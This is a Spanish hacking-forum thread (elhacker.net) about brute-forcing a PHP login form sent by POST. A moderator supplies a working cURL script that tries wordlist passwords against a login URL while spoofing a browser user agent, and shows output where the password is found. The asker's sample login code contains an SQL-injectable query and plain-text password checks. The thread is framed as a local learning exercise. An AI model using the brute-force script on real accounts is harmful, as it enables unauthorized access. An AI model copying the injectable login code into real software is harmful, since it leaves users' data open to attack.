elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web
| | |-+  PHP (Moderador: #!drvy)
| | | |-+  Fuerza bruta método POST [PHP]
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Fuerza bruta método POST [PHP]  (Leído 7,364 veces)
#Aitor

Desconectado Desconectado

Mensajes: 173



Ver Perfil
Fuerza bruta método POST [PHP]
« en: 31 Diciembre 2013, 16:35 pm »

Hola buenas. Os explico...

Tenemos una base de datos, dónde hay un usuario llamado Aitor. Dicho usuario tiene una contraseña comprendida entre el 0 y el 10. Se utiliza el método POST... Ahora bien, yo creo un diccionario.

Código:
01
02
03
04
...
10

Ahora bien, la pregunta del millon, ¿cómo narices haces para que el archivo.text se inserte en el formulario?

Para no hacer nada ilegal, yo tengo montado un servidor de apache en el cuál tengo montado lo siguiente;

BruteForce.html
Código
  1. <html>
  2. <head><title>BruteForce</title></head>
  3. <body>
  4. <form method="post" action="BruteForce.php">
  5. <input type="text" name="user" /><br />
  6. <input type="password" name="password" /><br />
  7. <input type="submit" value="Log in" />
  8. </form>
  9. </body>
  10. </html>
  11.  

BruteForce.php
Código
  1. <?php
  2.  
  3. $user = $_POST['user'];
  4. $password = $_POST['password'];
  5.  
  6. if(isset($user) && strlen($user)>0 &&
  7. isset($password)&& strlen($password)>0) {
  8.  
  9. try {
  10.    $con = new PDO('mysql:host=localhost;dbname=bruteforce', "root", "XXXXXXX");
  11.    $return = $con->query("SELECT PASSWORD FROM BruteForce WHERE USER = '$user'")->fetchColumn();
  12. if($return==false){
  13. echo "El usuario no se encontró en la base de datos.";
  14.  
  15. }else if($return !== $password){
  16.  
  17. echo "Contraseña incorrecta";
  18.  
  19. }else if($return === $password){
  20.  
  21. $_SESSION['user'] =  $user;
  22. echo "Contraseña correcta";
  23. header("Location:start.php");
  24.  
  25. }}catch (PDOException $e) {
  26.  
  27.    print "Error!: " . $e->getMessage() . "<br/>";
  28.  
  29.    die();
  30. }}else{
  31.  
  32. echo "Campos vacios";
  33. }
  34.  

Start.php
Código
  1. <?php
  2.  
  3. if(isset($_SESSION['user'])){
  4.  
  5. echo "Welcome " . $_SESSION['user'] . "<br><a href=close.php>Log out </a><p></p>";
  6. }else{
  7.  
  8. echo "Esto lo ves si no iniciaste sesión";
  9. }
  10.  
  11. ?>
  12.  

Close.php
Código
  1. <?php
  2. header("Location:start.php");
  3.  
  4. ?>
  5.  

Como podéis observar es un formulario con dos cajas de texto y un submit, que pasa los datos a una página PHP, que conecta con una base de datos.

Si lo escrito en el formulario coincide con lo que hay en la base de datos entonces entras en la sesion.

La base de datos tiene lo siguiente:

Código:
ID ||   USER || PASSWORD ||
----------------------------------
1   || Aitor || 8       ||
----------------------------------
2   || Admin || 10      ||
----------------------------------

Quizá me estoy complicando demasiado y para hacer una prueba bastaría con un

Formulario.html
Código
  1. <html>
  2. <head><title>BruteForce</title></head>
  3. <body>
  4. <form method="post" action="Comprobacion.php">
  5. <input type="text" name="user" /><br />
  6. <input type="password" name="password" /><br />
  7. <input type="submit" value="Log in" />
  8. </form>
  9. </body>
  10. </html>
  11.  

Comprobacion.php
Código
  1. <?php
  2.  
  3. $user = $_POST['user'];
  4. $password = $_POST['password'];
  5.  
  6. if($user === "Aitor" && $password == 10){
  7.    echo "Correcto";
  8. }else{
  9.    echo "Incorrecto";
  10. ?>
  11.  

Sea como fuere, esto lo pregunté hace tiempo (cuando apenas sabía php). y la respuesta fue;

Citar
para hacer un script que crackee el login, teniendo el campo de usuario y clave, necesitas, identificar el método por el cual se envían los campos (GET o POST) ahí ya te vas haciendo la idea...

Ahora la pregunta sería más bien.

  • ¿Qué lenjuage necesitaría usar?
  • ¿Podríais darme algún ejemplo?
  • ¿Existe algún programa que haga esta función?

Un saludo y gracias.



« Última modificación: 31 Diciembre 2013, 16:37 pm por #Aitor » En línea

Mi algoritmo en PHP (estupideces y más).
Código
  1. while($Se_feliz){
  2.  Piensa_un_OBJETIVO(); // Sin excusas!
  3.  if($Tienes_un_objetivo){
  4.    Suspira(); // Sé paciente.
  5.    if($Consigues_el_objetivo){ echo "¡Felicidades #Aitor!";return;
  6.      //RETURN; ¿O volvemos a empezar?
  7.    }else{
  8.      Inténtalo_de_nuevo();
  9.    }
  10.  }
  11. }
EFEX


Desconectado Desconectado

Mensajes: 1.171


"Dinero Facil"


Ver Perfil WWW
Re: Fuerza bruta método POST [PHP]
« Respuesta #1 en: 31 Diciembre 2013, 16:57 pm »

Puedes aprender a utilizar curl.
http://php.net/manual/es/book.curl.php

Programas? existen muchos hasta plugins para tu navegador...


En línea

#!drvy
Moderador
***
Desconectado Desconectado

Mensajes: 5.850



Ver Perfil WWW
Re: Fuerza bruta método POST [PHP]
« Respuesta #2 en: 31 Diciembre 2013, 17:40 pm »

cURL mola :P .. aunque como ha dicho @EFEX se puede hacer de muchisimas formas (con muchísimos programas).

Código
  1. <?php
  2.  
  3. // Url a donde enviar los datos.
  4. $url = 'http://localhost/prueba.php';
  5. // Datos adicionales que hay que enviar (usuario,nacimiento,direccion email etc..)
  6. $datos = array('user'=>'Aitor');
  7. // Nombre del campo que contiene la contraseña
  8. $campo_password = 'password';
  9. // Archivo con las contraseñas
  10. $archivo_passwords = 'passwords.txt';
  11. // Resultado deberia ser.. puede ser parte de un string.
  12. $string_valido = 'Bienvenido';
  13.  
  14. /* ------------------------------------------------ */
  15. function procesar_archivo($archivo){
  16.   if(empty($archivo)||!file_exists($archivo)){return false;}
  17.   $handle = fopen($archivo,'r');
  18.   $content = fread($handle,filesize($archivo));
  19.   $content = explode("\n",$content);
  20.   fclose($handle);
  21.   return $content;
  22. }
  23.  
  24. if(!function_exists('curl_init')||!function_exists('curl_exec')){die('No dispongo de curl');}
  25.  
  26. // Iniciamos curl.
  27. $ch = curl_init();
  28. // Indicamos que debe devolver el resultado
  29. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  30. // Indicamos la url.
  31. curl_setopt($ch,CURLOPT_URL, $url);
  32. // Indicamos que va a ser un POST y su longitud.
  33. curl_setopt($ch,CURLOPT_POST, count($datos)+1);
  34. // Indicamos que siga las redirecciones
  35. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  36. // Simulamos ser un navegador Firefox.
  37. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0');
  38.  
  39. // Procesamos el archivo.
  40. $passwords = procesar_archivo($archivo_passwords);
  41. if(empty($passwords)||!is_array($passwords)){die('El archivo no existe y/o no es valido');}
  42.  
  43. // Por cada password
  44. foreach($passwords as $password){
  45.  
  46.   // Converimos los datos a url. (ej: usuario=Aitor&email=hola)
  47.   $string='';
  48.   foreach($datos as $index=>$valor){ $string .= $index.'='.$valor.'&'; }
  49.  
  50.   // Añadimos el campo password
  51.   $string.=$campo_password.'='.$password;
  52.  
  53.   // Añadimos los datos al POST
  54.   curl_setopt($ch,CURLOPT_POSTFIELDS, $string);
  55.  
  56.   // Ejecutamos curl
  57.   echo 'Probando -'.$password;
  58.   $resultado = curl_exec($ch);
  59.  
  60.   // Comprobamos si fue validado
  61.   if(strstr($resultado,$string_valido)){echo '-VALIDO';break;}
  62.   else {echo '-NO VALIDO <br />'; continue;}
  63. }
  64.  
  65. ?>

Prueba PHP:
Código
  1. <?php
  2. $user = $_POST['user'];
  3. $password = $_POST['password'];
  4. if($user === "Aitor" && $password == 10){echo "Bienvenido usuario X";}else{echo "No es correcto.";}
  5. ?>

Resultado:
Código
  1. Probando -1-NO VALIDO
  2. Probando -2-NO VALIDO
  3. Probando -3-NO VALIDO
  4. Probando -4-NO VALIDO
  5. Probando -5-NO VALIDO
  6. Probando -6-NO VALIDO
  7. Probando -7-NO VALIDO
  8. Probando -8-NO VALIDO
  9. Probando -9-NO VALIDO
  10. Probando -10-VALIDO

Saludos
« Última modificación: 31 Diciembre 2013, 17:42 pm por @drvy » En línea

#Aitor

Desconectado Desconectado

Mensajes: 173



Ver Perfil
Re: Fuerza bruta método POST [PHP]
« Respuesta #3 en: 31 Diciembre 2013, 18:02 pm »

Tu script funciona a la perfección @drvy, una lástima que entienda muy poco por no decir nada del código, todo será aprender Curl.

Muchas gracias a los dos por vuestro tiempo >.<'

 ;-) ;-)
En línea

Mi algoritmo en PHP (estupideces y más).
Código
  1. while($Se_feliz){
  2.  Piensa_un_OBJETIVO(); // Sin excusas!
  3.  if($Tienes_un_objetivo){
  4.    Suspira(); // Sé paciente.
  5.    if($Consigues_el_objetivo){ echo "¡Felicidades #Aitor!";return;
  6.      //RETURN; ¿O volvemos a empezar?
  7.    }else{
  8.      Inténtalo_de_nuevo();
  9.    }
  10.  }
  11. }
EFEX


Desconectado Desconectado

Mensajes: 1.171


"Dinero Facil"


Ver Perfil WWW
Re: Fuerza bruta método POST [PHP]
« Respuesta #4 en: 31 Diciembre 2013, 18:27 pm »

drvy tiene mas idea que yo con curl(sabia que iba agregar un ejemplo :xD), hasta podes crear un bot como hizo el, tiene varios usos curl.
En línea

RyukZ92

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: Fuerza bruta método POST [PHP]
« Respuesta #5 en: 18 Febrero 2016, 18:17 pm »

Hola amigo #!drvy, excelente información brindada pero quiero decirte algo, tú código de curl y fuerza bruta tiene un pequeño problema que no logro captar, y es que al poner el campo contraseña como STRING en el archivo prueba.php
EJEMPLO: if($user == "Aitor" && $password == "1a0") ya no me funciona el script correctamente, al menos que en archivo de texto passwords coloque la contraseña al final es que la valida, del resto no, solo aplica para enteros.

¿Qué pudiera ser eso?

PD: Es un proyecto que hago y te aclaro que apliqué la misma sitaxis de código pero con inyecciones SQL y me va perfectamente pero el problema es para cuando hay usuarios y contraseñas. Yo ya llevé este código a base de datos y todo lo demás, pero el error está en esta porción que muestras acá.

Espero su ayuda por favor.
« Última modificación: 19 Febrero 2016, 02:22 am por RyukZ92 » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Fuerza Bruta En VB
Programación Visual Basic
Cicklow 6 7,542 Último mensaje 24 Agosto 2005, 22:51 pm
por 5v5
Fuerza bruta « 1 2 3 »
Programación Visual Basic
vivachapas 25 12,740 Último mensaje 22 Enero 2008, 03:06 am
por vivachapas
Fuerza bruta
Programación Visual Basic
aaronduran2 4 3,021 Último mensaje 28 Junio 2008, 21:09 pm
por aaronduran2
existe otro metodo a parte de fuerza bruta para resolver el molto facil? « 1 2 »
Desafíos - Wargames
jhonatanAsm 15 13,992 Último mensaje 21 Junio 2012, 13:00 pm
por m0rf
como hackear archivos con metodo fuerza bruta????
Hacking
tobiartu 2 3,227 Último mensaje 15 Marzo 2014, 18:14 pm
por Eleкtro
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines